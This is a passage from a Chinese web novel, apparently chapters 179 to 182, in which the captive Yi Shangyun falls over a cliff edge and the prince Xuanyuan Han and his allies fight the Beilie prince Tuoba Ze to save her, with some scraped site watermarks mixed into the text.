就在这时,听到这声惊天地泣鬼神的呐喊之声的易君浩和程良亦闻声,也终于匆匆疾跑着追赶了过来。

而一看到眼前的情形,俩人顿时都不约而同地止住步来,惊呆了。

程良望着此时似是走火入魔了一般,丧失了理智,貌似还有些瑟瑟发抖地大声怒吼着的主子,朝其大喊一声:“殿下”

易君浩亦朝着程良所注视的方向,惊愣着望了一眼他从未见过的轩辕翰的另一面。

但瞬间,他便将目光移动转向了前方的悬崖边上,正被人用一柄泛着白晃晃的亮光的锋利短剑,死死地抵着脖颈,已渗出来滴滴红艳艳的鲜血的衣上云,顿时竖起眉头来惊叫了一声:“丫头”

而当听到轩辕翰那声嘶力竭的一声呐喊,衣上云亦仿佛似是终于从一场噩梦当中清醒了过来。

继而便在尚还处在一脸惊愕之中的拓跋泽的牢牢禁锢之中,拼命地扭动身子挣扎起来,看着他的眼睛朝其狠狠地怒道“拓跋泽,放开我,你这个忘恩负义、恩将仇报、人面兽心的伪君子。”

拓跋泽闻声,方才匆匆回过神来,亦转头来对视着衣上云那好看的双眼愣了片刻后,竟突然露出来一抹更为嚣张的得意之色。

他非但没有放松手劲半分,反而将禁锢她的双手和握剑的两只大手的力道只增不减地又添了许多。

衣上云本就没有防备,一时间没能耐得住这突如其来的一阵痛楚感,随即似是本能地惊出声,道“啊,疯子,疯子,你真是个十足的疯子!”【!¥¥¥免费阅读】

拓跋泽轻蔑地哼笑一声,转头过去又看向他正前方不远处,疯魔了一般的轩辕翰道“疯子?本皇子这辈子怕是都担不起这个美名了。不过,此时眼前倒是确实有一个疯子。”

衣上云闻声,方才朝着拓跋泽所看向的方向缓缓放眼过去。

她一眼便看到了轩辕翰方才发疯般呐喊的时候,不小心掉落在脚下的一个她熟悉的不能再熟悉的粉色香囊,衣上云瞬时眼睛朝其一怔,惊道“是玉娘的香囊?”

而当她紧接着经过好一番仔细认真的凝视确认过后,才终于看清楚眼前拓跋泽口中所说的疯子,竟然是昔日里如同一尊神袛般睥睨天下,伟岸尊贵,而此刻却犹如发疯魔怔了似的垂首痴愣地站着,显得孤独无助又恐怖惧怕极了的秦王轩辕翰。

在他的身旁,还有一蒙面男子手持着长剑,近身站在其身旁用一柄利剑拦着他。

而在这俩人的身后,易君浩与程良俩人,亦是满脸担忧之色地站在原地里一动也不敢动,生怕因为自己一个很小的举动,便会惊动那男子手中正对准着轩辕翰的那柄长剑,亦或者触怒了正持剑抵在自己皙白的脖颈上的拓跋泽。

看着这一切,顿时间,衣上云的心里似是忽然有种说不出的感觉涌上了心头。

她想,轩辕翰一定是已经捣毁了暗藏在整个万娇阁里的阴谋,亦救出了玉娘,方才得知了那个粉色的玫瑰花茶香囊。

于是,在通往上山的路口发现了自己不慎掉落的那个香囊,便沿路上到了山上来寻她,这才刚好遇到了这伙十恶不赦的北烈敌寇。

原来,他真的是来寻她的,而不只是拿寻她来做声东击西的幌子。

原来,他并没有丢弃她,无论何时,他似乎从来都没有将她丢下过。

冥冥之中,似乎轩辕翰已经不知不觉中成了这个时空里唯一一个关心在乎她的人,也是她自己亦不知何时,已经悄悄将其放在了自己心底的人。

看着眼前的这一切,思及此,衣上云顿时蹙起眉来,口中默默地黯然低声喃喃道“秦王殿下他…他这是怎么了?”

拓跋泽一边仍不松手半分,一边看着轩辕翰朝其冷哼一声,嘴里不住地啧啧道“啧,啧,啧,瞧瞧,瞧瞧。看来,这传闻也只能是传闻而已,一点儿也不足为信。想不到世人皆传的骁勇善战,令人闻风丧胆的灵空战神,秦王轩辕翰也不过如此罢了!今日,仅仅被远远屈居于本皇子之下的本皇子的皇弟,区区不过几招,便打的落花流水。他这一直低着头,难道是哭了不成?还是...这会儿吓得都快要尿裤裆了?又或者是吓傻了?吓疯了?”

衣上云想都没想,一气之下当即脱口而出地怼他道“你胡说,秦王殿下怎么可能会输给你们这些卑鄙小人,一定是你们背地里对他使诈,殿下才会中了你们的奸计。”

就在这时,她忽然看到轩辕翰似是嘴里在喃喃自语地说些什么。

可是,此时他们之间的距离已经被拓跋泽一直拖着后退着,着实有些远了。

悬崖边的山风又不停地在她耳边呼呼地怒吼的,吹乱了她一头乌亮的长发。

于是,她似是本能般地微微侧耳着缓缓闭起眼睛来,集中精力用心仔细地听了起来。

半晌后,她终于将轩辕翰的喃喃之音听的清清楚楚,心里默默道“原来,殿下他一边发抖,一边嘴里不停地反复念叨着的是‘不要跳,求求你不要跳下去。你给本王回来,本王不许你死,本王一定不能让你们母子再死一次。本王这次一定知道该怎么选,一定知道……’。”

片刻后,衣上云终于明白了过来。

原来,轩辕

翰此刻如此战战兢兢着,并不是因为拓跋泽口中所说的那么不堪一击,亦或者又变成了什么疯子。

原来,殿下是因为看到了我,此刻被拓跋泽挟持在悬崖边上,心中又想起了他儿时曾遇到的那位,为了救他性命而不惜牺牲自己,一尸两命坠崖身亡的即将临盆的妇人。

这是留在殿下心里永远都抹不掉的阴影和伤疤,一旦触碰,或者与当年相似的情景再现,殿下便会深陷在自己当年的回忆里,自责不已,失去理智,痛不欲生。

“不行,今日无论如何,我一定要想办法彻底帮殿下除去这个心底的伤疤和阴影,一定要将殿下彻底唤醒过来。否则,它必定将会伴着殿下一生一世,困扰着他,不得释怀。”衣上云心里暗暗道。

就在衣上云正准备要说话时,一旁的易君浩早已按耐不住了。他必须得做点儿什么,不能就这样任由双方僵持着,坐以待毙,而自己什么都不做。

于是,他终于忍不住抢先开了口,提高嗓门,道“拓跋泽,你冷静一点儿,不要乱来。‘冤有头,债有主’,那丫头与你无冤无仇,你没理由挟持伤害她,她的脖子已经在流血了。再说了,她只不过是一个区区小小的宫廷药师家,不被受待见的废柴丑女,一无财二无色。而我,我乃是西秦国最大的药草商人,亦是名震整个灵空大陆的百草谷谷主,身价不菲。不如,本谷主来与那丫头做交换,岂不更好,你…意下如何?”

易君浩一边说着,一边试探着往前迈了两步。

拓跋泽一见,即刻抵紧了手里的短剑,朝其怒吼着警告道“不要动,你少废话。今日,就算你是天王老子,即使给本皇子搬来整座金山银山,也换不了她。除了她,本皇子谁都不要。你们若是有人胆敢挑战,不妨就来试试。”

眼看着自己那主子此刻也不知道什么原因,已然是神志不清了,程良亦只能想办法来为主子拖延争取一些时间,或许下一秒主子就会恢复了神志,清醒过来也不可而知呢?!

于是,程良亦开口紧随易君浩之后叫嚣说道“拓跋泽,我劝你不要敬酒不吃吃罚酒,你们费尽心思布置在我西秦国内的所有细作和人马,都已经全部被俘了。方才在那边的树林里,追随你的那队要跟你一起回国重振旗鼓的最后几个残兵败将,亦都已经向我西秦弃械投降了。所以,我劝你还是乖乖束手就擒吧,不要再做这些无谓的挣扎了。”

岂料,拓跋泽即便是在此时已是全军覆没,亦一副满是毫不在乎的样子,道“哼,正所谓‘擒贼先擒王’,你不妨睁大了你的狗眼好好看看,此时此刻,到底是谁落在了谁的手里?这场仗,究竟谁输谁赢,恐怕尚且还不一定呢吧?!



“拓跋泽,你……”程良瞬间被他这句话气的差点儿噎死。

然拓跋泽却顿时露出了一脸的得意洋洋之色。

就在这时,突然间人影闪动,道旁的林中窜出一个熟悉的身影来,只见那人一绕过重重阻碍,便悄悄溜到了拓跋泽的身旁,一手扶着腰间的佩剑,一手附在拓跋泽的耳边对其神秘地耳语起来。

片刻后,只见拓跋泽似是极为愤怒地横眉竖眼着,对其大声道“真的?”

那人极为认真地点点头,之后一转过身来,程良方才看清楚,那竟是方才的一只漏网之鱼,不禁惊讶道“是他?可恶,竟然被他给溜了。”

“他是谁?”易君浩悄声问道。

(本章完)

第一百八十章:命悬一线

衣上云乘着拓跋泽纳闷而放松警惕之际,缓缓地试着将自己的一只脚,轻轻抬起朝着后侧方悄悄退去。

拓跋泽光顾着吃惊纳闷,衣上云此刻为何一会儿狂笑,又一会儿梨花带雨般地落泪哭成个让人心碎的泪人儿?

而此刻,她又是露出这副让人捉摸不透的眼神来,她这究竟是怎么了?

他根本不知道她心里此时到底在想些什么,更不知她欲要做什么?

他之所以如此举着利剑抵紧在她的脖颈间,狠心以此来挟持她。只不过是见今日,即使他们兄弟俩人联手,亦未必是那秦王轩辕翰的对手。

他没想到,这轩辕翰确实名不虚传。

在这种情况下,怕是‘不是你死,便是我亡’,他的胜算太小太小,几乎是输定了。

到时候,且不说带着衣上云回北烈重整旗鼓了,怕是就连他兄弟二人的性命,亦不能得以保全了。

他们尊为堂堂一国之皇子,岂能甘当俘虏,此乃奇耻大辱不说,到时候如果西秦拿他们二人的性命要挟其父王,北烈怕是因此而遭受到亡国之灾,亦不可而知。

可当他忽然发现,这秦王竟是真的很在意衣上云这个丫头的时候,他忽然想到了以此来威胁秦王轩辕翰,逼他束手就擒。

这样一来,目前所有看起来似是对他极为不利的局面,便顿时变得反客为主,豁然明朗了起来。

可即便如此,他心里的打算也仅仅只是利用她一下而已,他又怎么可能真的想要伤及她的性命。

可千算万算,他显然没有料到,轩辕翰竟然会在此时,忽然如此发疯般地魔怔了起来,引得在场众人顿时间都手足无措了起来。

想着方才所发生的这一切,拓跋泽似是有些出神般地,痴痴看着衣上云眼角所滑下的泪水,跟随着她的脚步,缓缓地一步一步朝后退着,竟没料到不知何时,自己已被其悄悄地带退到了悬崖边上。

忽然,一直站在拓跋泽身旁不远处的近身侍卫,灵光一闪,似是陡然发现并意识到了衣上云此时心里所打的主意。

就在衣上云准备着突然止步顿足,打算一个急转身,趁其不备将拓跋泽推下身后的万丈悬崖去之际,那侍卫大声地朝其警示急呼道“殿下当心后面!”

拓跋泽一听到这阵及时的惊呼声,骤然惊醒。随即似是本能般地斜视了一眼后方,继而赶忙松开了禁锢衣上云的那双有力的大手,只自顾自地改变重心,伸出一只手去,向着前方的侍卫边儿上垮了过去。

那侍卫一见,亦急步上前来,将拓跋泽一把拉到了自己的身边。

然衣上云却因这个急转身的动作用力过猛过快,她又不会武功,根本收不了势。已然来不及收力,只得任凭自己的整个身子

,迎面对着那深不见底的悬崖里扑了下去。

而就在这千钧一发之际,有个身影犹如一道闪电般地飞快移动着。又似一道光,身子轻轻一晃便轻松地脱离了拓跋宏的牢牢控制,继而直冲向前,从拓跋泽及其侍卫的面前一闪而过。

其速度之快,闪经之处,竟将那刚刚回到安全地带,尚还杵在那里惊魂未定着的拓跋泽,当即震倒,跌坐在了地上。

因为本就身受了严重的内伤,这一震,竟又使得其当即嘴里再次喷出一大口鲜血来,溅洒在地上,整个人跟着便顿时虚弱地抚着胸口气喘吁吁起来。

那侍卫更是被其闪身而过的速度,带动着在原地里不停地转起了圆圈来,怕是此时直两眼冒着金星,连东南西北都分不清了吧。

不远处,亦是同样被这速度惊呆了的拓跋泽的弟弟拓跋宏,依旧保持着方才集中自己全部所有的注意力,持剑立在那里,死死地盯视和控制着轩辕翰的姿势。生怕一不小心,便如刚才的那场比试一般被对方占了上风,给牵制住。

他似是还没反应过来,自己那样牢牢禁锢着的轩辕翰,到底是如何从自己手中逃脱的?

如今,他却只能是一副瞪大了眼睛,看着轩辕翰方才站立的地方,似是又还没意识到眼前究竟发生了什么似的,整个人一副惊愕至极了的傻愣模样。

就在衣上云的转身和轩辕翰的清醒,几乎是发生在同一时间的时候,目光一直落在轩辕翰身上,等待着一个出手的合适时机的程良,眼疾手快地一看到主子的身子微微动了一下,便高兴地急呼了一声“殿下醒了。”

话音尚还未落,便见他顿时双脚用力点地,便手持长剑飞身了出去,与拓跋宏火拼了起来。

“丫头”而亦是同时,目光一直落在衣上云身上的易君浩,同样吃惊地大喊了一声,则亦用力点地飞身而出,直奔向了悬崖边上去帮忙。

拓跋泽再次身受重创,待其闻声一回过神来,这才发现此时此刻,眼前的情势已是完全一片失控和混乱之中。

他的弟弟一直用手中的利剑,牢牢控制着的秦王轩辕翰早已不见了踪影,却与程良剑光霍霍地纠缠在一起。

又见易君浩正全力飞身而出,朝着他所在的方向袭来,还误以为是来取他性命的。

于是,他立即屏住呼吸,咬紧牙关,摇摇摆摆吃力地再次站了起来,继而又狠狠地给了那身旁,尚还在转圈儿的侍卫一巴掌,侍卫被痛扇之后方才醒过神来。

拓跋泽随即对其怒斥道“蠢货,还不快给本皇子上。”

于是,只闻那侍卫声嘶力竭,一声悠长的“啊……”之后,便如同豁出去性命了一般似的,惊慌失措地一把抽出了腰间的佩剑,举着直朝

易君浩身边疯狂地阻拦杀了出去。

衣上云本欲打算乘其不备,推拓跋泽跌入悬崖,以自己的力量战胜他。好让轩辕翰看到她绝不会像十几年前的那位妇人一样,被迫落崖。从而除去埋藏在他心里多年,那深深的阴影和恐惧。

然却不想竟被拓跋泽的近身侍卫识破了她的计谋,拓跋泽闪身离开后,她只能似是本能的顺势倒地向悬崖跌了下去。

忽然,她的头顶却出现了一只有力的大手,将她所能抓住的唯一一根救命稻草,从另一头一把牢牢地拽住。

衣上云是先正面朝下跌趴在悬崖边,因大半个身子先落入山崖,在沿着笔立的危崖滑落的时候,顺手以双手抱住了崖壁上,唯一可以抓住的救命稻草,但还不足以能承受住她的全部重量的一株朝下生长的小树。

若不是轩辕翰神速赶来,将扎进悬崖壁上的岩石里的树根牢牢地抓住,怕是她早已连人带树跌落了下去,粉身碎骨了。

“殿下!”猛一抬头,衣上云又惊又喜道。

轩辕翰亦露出甚是难得的一抹微笑,道“抓紧,不要松手。”

正在他想办法试着发力想要将衣上云拽回来的时候,拓跋泽急急回过头来,看向了悬崖边上。

原来,方才将自己席卷震倒在地的那道闪烁光影,竟是那刚刚还在似疯又似癫的秦王轩辕翰。

此时,他正将自己的近半个身子置在半空里,只身趴在悬崖边上,而唯独却不见了衣上云那丫头的身影。

拓跋泽吃惊极了,他没想到,这西秦国年纪轻轻的秦王轩辕翰的功力造诣,竟已能达到如此出神入化的境界。看来,他还真是越来越不能小觑了这灵空战神了。

衣上云那臭丫头,不会已经跌落悬崖,粉身碎骨了吧。拓跋泽一边暗自想着,一边抚着胸口缓缓踱起步来,朝着轩辕翰的身边走过去。

而当他一走近其身旁,方才吃惊地看到轩辕翰正趴在悬崖边,一只手支撑着自己身体的重心,另一只手则拼命般的死死拽着一根细细的树干。

拓跋泽紧忙放眼朝着树干的另一头望去,只见衣上云宛如一纸断了线的风筝,正两手缠绕着挂在树干上面,摇摇欲坠着,她双脚乱蹬,只盼能踏到什么东西。

拓跋泽随即露出一抹阴冷的笑来,大踏步上去竟嗖的一下,伸出一只大脚狠狠地用力踩在了支撑轩辕翰身体的那只手上,趾高气昂地站在他的身旁,居高临下地看着衣上云说道“臭丫头,本皇子如此真心待你,你竟胆敢设计本皇子,还妄想欲将本皇子推下这万丈悬崖去。哼...这都是你自己咎由自取的,莫怪本皇子无情,袖手旁观。”

而此时,衣上云的衣衫早已被崖边长满的荆刺,扯

得东破一个洞,西烂一条布,手脚上亦都到处是破损。

两个臂膀都已只剩下半截,露着雪白的玉臂,臂上亦都是在岩石边上划出的一条条长长的伤口,渗着斑斑血迹。

拓跋泽站在一旁,重重地踩着轩辕翰的一只手,心里幸灾乐祸极了,又道“轩辕翰,快松手吧,你不要命了吗?就为了一个区区药师府上的废柴丑女,至于搭上你自己的性命么?”

闻此,尚还处在惊魂未定着,似是都不敢睁眼朝着下方看一眼,心里恐惧极了的衣上云,亦赶忙抬头看着头顶轩辕翰深邃的眼眸,开口大喊“殿下放手,快放手,若你再不放手的话,殿下也会坠崖没命的。西秦国可以没有衣上云,但绝不能没有秦王殿下啊!”

(本章完)

第一百八十一章:小骗子,原来你都记得

衣上云抬起头来,仰望着头顶因被拓跋泽痛踩而吃力着的轩辕翰深邃的眼眸,开口对其大喊道“殿下放手,快放手,若你再不放手的话,殿下也会坠崖没命的。西秦国可以没有衣上云,但绝不能没有秦王殿下啊!”

而此时,只身趴在一片荆棘丛之中,身上的伤处隐隐作痛着;一只手又被拓跋泽狠狠地,几乎用尽全身的力气重重地踩在脚下;另一只手还得拼命拽紧手中的树干以及这树干另一头自己最心爱的女人。轩辕翰却只自顾自地咬紧了牙根,默默地承受着这一切。

看着衣上云几近于哀求的眼神,他吃力地安慰她道“平心静气不要说话,保存体力,千万要抓紧了。无论如何,一定不要松开手。不管待会儿发生什么,本王都不会松手,也不允许你松手。”

话音刚落,只闻突然间“嘭”的一声,连接俩人的树根,其生长的附近岩石上,裂开来几条缝隙,俩人一起不约而同地看向了树根的部位。

没错,这本就只是一颗无法承受住一个成人重量的小树而已,此时眼看着已然将被衣上云彻底给连根拔起。

瞬间,只见大大小小的许多岩石块相继崩裂了开来,继而穿成一条线,纷纷滑落而下,跌入悬崖里去。

衣上云顿时被这眼前所发生的,亦是自己最担心的状况惊呆了。

她似是本能一般地忙收腿蜷缩起整个身子来,闭起了双眼,用尽所有力气握紧那根手中细细的树干,她此时唯一的救命稻草,大声地连连惊叫起来“啊,啊,啊...”

就在这时,浅埋在岩石缝隙里的树根,似是被她这阵忽然发出的尖叫声所惊醒了一般,顿时从岩石里彻底脱离了开来。

轩辕翰当即眼疾手快地迅速加力,一把握紧了即将下滑的树根,口中忙道“没事,没事,有本王在,本王在这儿……”

半晌后,衣上云方才缓缓睁开了眼睛,惊恐地看了看尚还安安全全地紧握在自己手中的那根救命稻草,又抬头看了一眼轩辕翰那张满是忧心的脸。

接着,她又惊魂未定地怯怯向下瞥了一眼。

几近笔直的悬崖下,深谷里云雾弥漫,兀自不见尽头,她望着望着不禁倒抽了一口气,顿时牙齿竟上下咯噔咯噔地直打起架来。

片刻后,她又闭起了双眼,脑子里似是一片空白,直嗡嗡作响。

她在心里不停地重复着问自己“怎么会这样?我该怎么办?……”

就在她正暗自思量之际,悬崖边的拓跋泽冷笑一声,将扎在轩辕翰手上的那只短剑,哧的一下拔了出来,拿在一只手里转动把玩着,开口说道“死到临头了,没想到你们这对痴男怨女,竟还如此这般恋恋不舍、生死相依、不离不弃的。真是感人至深

啊!不过,你们就不要痴心妄想着,做这些无谓的挣扎了。

闻此,轩辕翰沉声道“你想做什么?”

拓跋泽道“难道秦王没发觉,本皇子至今,尚都还没有出手么?如果此时,本皇子用手里的这柄短剑,斩断这誉满整个灵空的战神秦王的一只手臂,不知,结果会如何?“

“你不妨试试看?”轩辕翰冷声道。

拓跋泽一边说着,一边蹲下身来在轩辕翰支撑重心的那只手臂旁边拿剑一边比划着,一边傲慢地说道“秦王不要着急嘛,本皇子可不是跟你开玩笑的。本皇子只是还没想好,到底是该斩段秦王左边的那只,还是右边的那只手臂比较好呢?如果留这一边的话,可以让秦王活着,你只是痛失了另一只握那树干的手臂而已。可这样一来,那丑丫头的小命自是就没了;而如果本皇子不留这边的话,你便会立刻失去支撑你整个重心的力量,如此,秦王和那丫头,便要一起坠崖身亡,做一对名副其实的鬼鸳鸯了!啧啧啧,真是伤脑筋啊,本皇子究竟该怎么选才好呢?”

“拓跋泽,你敢?”衣上云闻声,终于停止了思绪,回过神来抬起头大声朝其怒道。

拓跋泽闻此立刻站起身来,俯瞰着衣上云,眼珠子咕噜一转,说道“本皇子敢不敢,过会儿你自会知道。不过...看在你的面儿上,本皇子不妨就再多给你一条路选吧。要生要死,就看你怎么选了?”

衣上云紧锁眉头,疑惑地问“什么意思?”

拓跋泽轻叹口气,认真道“本皇子承认,本皇子是真心看上了你这个丫头。所以,本皇子打算再给你最后一次机会,衣上云…如果你答应做本皇子的妃子,本皇子便立刻饶过你们俩人,否则……休怪本皇子无情无义。”

衣上云冷笑一声,道“哼,你看上我?你看上的恐怕不是我的人,而是想让我帮你制毒,还有...帮你寻找传闻中,那关于西秦国的那股神秘力量的下落吧?!”

拓跋泽无所谓地说“随你怎么想,怎么说吧。总之,本皇子愿意不介意你与这秦王之间过去的种种而接纳你。那你,又究竟作何打算?”

“拓跋泽,有本王在,丫头,这辈子,你都休想,无论是生是死,她都只能是本王一人的。”衣上云尚且还在犹豫思量之际,轩辕翰却想都没想,直坚定不移地盯着衣上云的眼睛抢先脱口说道。

“殿下!”衣上云闻此,顿时深情地仰望着轩辕翰的眼睛喃喃道。

拓跋泽瞬时间火冒三丈,一手举剑在轩辕翰的耳边,一手死死地按住他的头,面目狰狞地朝其怒吼道“轩辕翰,你真是敬酒不吃吃罚酒。死到临头了,还如此气焰嚣张。看来,你是不见棺材不落泪。好,本皇子这

就成全你们,让你们做一对阴间鬼鸳鸯。还有什么临终遗言,就快快讲吧。讲完了,本皇子亲手送你们上路。”

然这时,轩辕翰却似是无话可说了。与其说是无话可说,倒更不妨说是一切尽在不言中。

然此时的衣上云,看着疯狂般的拓跋泽对轩辕翰的一举一动,又看了看被他牢牢禁锢之中,轩辕翰此时看她的那温柔的眼神。

西秦秦王,灵空战神,昔日里那样尊如神袛的一个人,可如今却因为她,落得如此境地,被人踩在脚下,按着他尊贵无比的头颅,伤害着他。她的心,突然之间痛极了。

她似是从来都没有因一个男人,而如此心痛过,就连魏明轩都不曾。

于是,衣上云深吸了口气,嘴角微微抽搐了两下,随即淡淡地朝着轩辕翰笑了笑,然眼角的泪水却早已情不自禁地悄悄滑落,被风吹走。

片刻后,她先朝着拓跋泽说道“拓跋泽,天下无不死之人。最多你也不过多活几年,又有什么可开心得?或许,还用不了几年,下一刻便就轮到你了。”

拓跋泽闻之,嘴角一斜,不屑极了。

接着,她又将视线收回,深情地望着轩辕翰许久,缓缓说道“殿下,对不起。发生的这一切,都是云儿拖累了殿下。云儿好笨,本想凭借自己的一己之力,将拓跋泽这个贼人推下悬崖。云儿这么做,并不是自不量力,云儿只是想替殿下除去埋藏在心里多年的那个心结而已。却不想,竟把自己给掉了下来,云儿更没有想到,会连累到殿下,受此侮辱。”

“替本王除去心结?”轩辕翰突然不解地喃喃道。

衣上云抿起嘴来,朝其微微点头,继续道“以后的日子里,殿下您可不可以不要再难过,不要再将自己的心门关闭。那样的话,殿下就不会如此孤单。殿下要时常里多笑一笑,殿下的笑,真的很好看。云儿想,当年为了救殿下而同样落入悬崖的那位即将临盆的妇人,她若是还活着,亦不愿看到殿下今日的这般疯魔模样……”

“你……”衣上云话还未完,一听到这里,轩辕翰似是忽然间想起了什么,一时间将其打断,顿时惊呆了。

然还未待他来得及开口将话说完,衣上云继续说道“如果当年的那位妇人,再给她一次重新选择的机会。云儿想,她依然会选择毫不犹豫地落下这座悬崖,来守护殿下。就如同,今日殿下亦不离不弃心甘情愿地要守护云儿一般。所以,这不是殿下的错,殿下您一定要释怀。那位妇人,她也只是选择了她心甘情愿所要守护的人,就是殿下你而已。而殿下,你却要守护这偌大的一个西秦国,乃至于以后的整个灵空大陆。这都是冥冥之中,上天早已经安排好的我们每个人与

生俱来的使命和命运,谁都不曾亏欠谁。”

“衣上云,除夕那夜所发生的一切,本王同你所讲过的每一句话,原来你记得,你居然都记得,是不是?”轩辕翰惊讶地道。

衣上云笑着道“云儿记得,云儿这一生都会记着,生生世世,云儿都会记着殿下,记着殿下那晚给予云儿的一切。记着在这个时空里,云儿与殿下之间所有的过往。谢谢你,殿下,谢谢殿下对云儿所有的好。”

“小骗子,原来你都记得,一直都记得,你竟然什么都记得,本王还以为……”轩辕翰喜极而泣道。

(本章完)

第一百八十二章:本王不会再信你

就在轩辕翰正准备聚集全身所有力气来发力,欲将手中的树干连同衣上云一起甩上来的瞬间,一直目不转睛牢牢地盯視着轩辕翰的一举一动的拓跋泽,眼疾手快地警觉到了他手下紧按着的轩辕翰的细微动作,随即高高举起了手里紧握着的锋利短剑,呲牙咧嘴地狠狠直朝着轩辕翰支撑全身重心的左臂膀坎去。

衣上云顿时仰望着惊叫起来“不要啊!”

就在这时,一道灼眼的亮光从拓跋泽的眼前“嗖”的一下,一闪而过。

只见拓跋泽的眼睛,顿时被这道来历不明,又让他措不及防的光亮照的灼痛不已,似是久久都不得再睁开来。

他本能地及时收回自己已经挥下去了一半的持剑的手臂去遮挡这灼眼的光芒,顺势将自己的整个头亦都扭转背向了过去。

原来,这道刺眼的光芒是不远处,正在与其侍卫剑光霍霍地纠缠相击在一起的易君浩,借着午时晒的正烈的太阳光亮,加上自己手中的亮剑,故意将其刚好反射到了拓跋泽的眼睛上,以及时分散其注意力。

此时,那侍卫正犹如一条疯狗一般,死死地拼命咬住易君浩不放,纠缠着易君浩的劍招。

远远地,易君浩一看到拓跋泽正在将大半个身子置在悬崖边上的荆棘丛中的轩辕翰死死的踩在脚底下,又用一只手大力地按着其脑袋,轩辕翰似是一点都不得动弹。

而他的丫头衣上云,则更是早已不见了身影,他的心里忽然涌上一种极不好的感觉,顿时间心急如焚。

那侍卫见他此时忽然间目光斜视着一边,心不在焉,一招一式中更是漏洞百出,尽显分心。于是,便以自己最快的速度持剑狠狠的朝着他的顶门劈了下去。

不想,易君浩却忽然回过神来朝其眼睛一怔,似是找到了一个脱身的机会。只见他迅速的一个腾空跃起,那侍卫用力过快且又猛,已然来不及收势,扑了个空。

易君浩便顺势在空中聚集力量于双脚之上,继而背对着他,用其狠狠地将那侍卫踢趴在了地上,那侍卫重重地倒地,迎面正好摔了个狗吃屎。

而紧接着,易君浩一刻都没有多做停留,直接迅速地双脚点地,一个极其轻巧迅捷的空中腾翻,便稳稳地站在了轩辕翰的身后。

而当他一定足下来,看到眼前轩辕翰正拼命拽着的那根连接其与衣上云俩人的救命稻草,只是一根细细的树干,貌似那树干的中间不知何时,还已经开始出现了即将要断裂的痕迹。

易君浩顿时朝着树干另一头的衣上云疾呼道“丫头,抓紧了,千万不要松手,亦不要抬头看!”

衣上云寻声一辨识出是易君浩的声音,脸上又惊又喜,道“三少,快帮帮殿下。”

易君浩随即一扭头

,狠狠地瞪了拓跋泽一眼。似是都不屑于与他多费一句话,继而使出浑身力气来,大力地一抬腿,还没等拓跋泽反应过来究竟发生了什么,将那刚刚被一道耀眼的光芒灼痛的双眼回转过来,整个人便已像个圆球一般,被易君浩踹飞了出去,挂在数米远之外的树枝上后又重重地摔落下来,趴在了地上。【…¥&…免费阅读】

而此时,轩辕翰身上,被那荆棘丛所刺出的伤,依旧在四处隐隐作痛着,然他始终都小心翼翼地拽紧着手里的那根树干,眼睛更是一刻亦不敢放松和离开衣上云的身上。

树干上已经开始出现了断裂的痕迹,显然此时他已经不能随意发力,而是必须先小心翼翼的将树干一点点向上收回,直至可以让自己的手越过那道裂痕,才能保证这根救命稻草依然有效,方可发猛力。

就在易君浩亦很快地意识到了这点,正放眼在周围急急寻找着一个可以替代这根树干的物件,俩人好合力将衣上云赶快救回来之际,拓跋泽的近身侍卫已渐渐地狼狈万状的爬起身来。

他的这一摔跌,额头刚好撞上了一块尖石,整个额头上顿时都是鲜血淋漓,疼痛难忍。可一看到眼前出现的另一人的情景,却已然全都不得顾及自身。

那侍卫灰头土脸,踉踉跄跄,一起身来,看到正同样蜷缩在自己身旁伤痕累累,痛苦难当的拓跋泽一脸煞白,似是鬓角还冒着冷汗,在瑟瑟发抖着,一时间惊愣地连话都说不出来,只傻傻地呆愣着站在原地里,似是脚也抬不起来了。

“蠢货,还不快过来扶本皇子起来。愣在那里傻看着,是想找死吗?”看到侍卫一脸惊愣不已的模样,拓跋泽朝其气急败坏地怒喝道。

拓跋泽一被搀扶起身来,俩人便都一瘸一拐着,一起缓缓朝着悬崖边再次迈步返回去。

而待俩人一近身过去,拓跋泽一见眼前的危急情势:衣上云手中的救命稻草已然即将断开,轩辕翰又不能发一猛力,旁边的易君浩一时间又找不到可以替代那根树干的物件,正欲迈步离开,去别处寻找。

待到易君浩前脚刚一离开,拓跋泽便朝着身边那已经凄惨极了的侍卫,诡异地说了句道“你扬名天下的机会来了!”

侍卫闻言,甚是不解地看向了身旁这个深不可测的主子怔了半天,道“属下不明白殿下何意?”

拓跋泽沉声道“眼下,这灵空战神,秦王轩辕翰为了救一个女子,已是命在旦夕。你只要轻轻松松地悄悄送他上路。以后这天下,比秦王更让人闻风而丧胆的人,不就便是你了!这么好的一个机会,若不是因为本皇子遭那秦王突袭,身受重创,无论如何是都不会便宜了你的!”

然侍卫听了拓跋泽的分析,心里除了惊喜之外,

却似是又有那么一点忧心,道“可是…可是如果我们这么做的话,会不会有些胜之不武了呢?”

拓跋泽哼笑一声,道“这里除了轩辕翰和那丫头外,便只有你我二人。而那悬崖下,便是万丈深渊,掉下去怕是连骨头星都找不到一个,谁会知道这秦王轩辕翰究竟是怎么死的。人们只会好奇地想要知道,有本事能杀了这灵空战神的人,究竟是怎样的奇才,仅此而已。”

那侍卫心中稍作思索,便真的持剑缓缓踱步着,朝着轩辕翰的后心刺了过去。

谁知,并未走出多远的易君浩迅速察觉,随即身体轻巧灵活的腾空跃起,直奔向那侍卫身边而去。

拓跋泽一见,连忙持剑上去拦在其身前。

两人相遇,都不待言语,只剑光霍霍地双击在一起嗡嗡作响,剑法迅捷、全力相搏起来。

轩辕翰听到了身后再次交战起来,便知情势又变得紧张了起来,不由得心中起了一丝焦急。

衣上云亦顿时被耳边传来的这阵打斗声惊到,她情不自禁地向上仰望了一眼,这才看到轩辕翰正在小心翼翼地一点一点往上拉的,她手中的这根救命稻草已然即将断裂,她忽然明白,为何方才易君浩不让她抬头往上看。

而更令她惊讶的是,轩辕翰的身上,胳膊以及手臂都已经被悬崖边的那片荆棘丛刺的千疮百孔,鲜血直流。

衣上云心疼地望着他,眼里噙满了泪水,祈求道“殿下松手吧,云儿求您了。这树干眼看着就要断开了,再这样耗下去,我们俩真的都会没命的,云儿死不足惜,只求殿下您一定要好好活着。这个世上,还有更多的人需要殿下,为了云儿,殿下不值得做如此牺牲,殿下切莫要辜负了那位妇人的临终所托。”

然无论衣上云如何说,如何求,轩辕翰依旧坚定不移地继续着自己手里的动作,丝毫都不曾停下来半分。

最后,衣上云实在没了主意,也不知道如何才能劝动他。

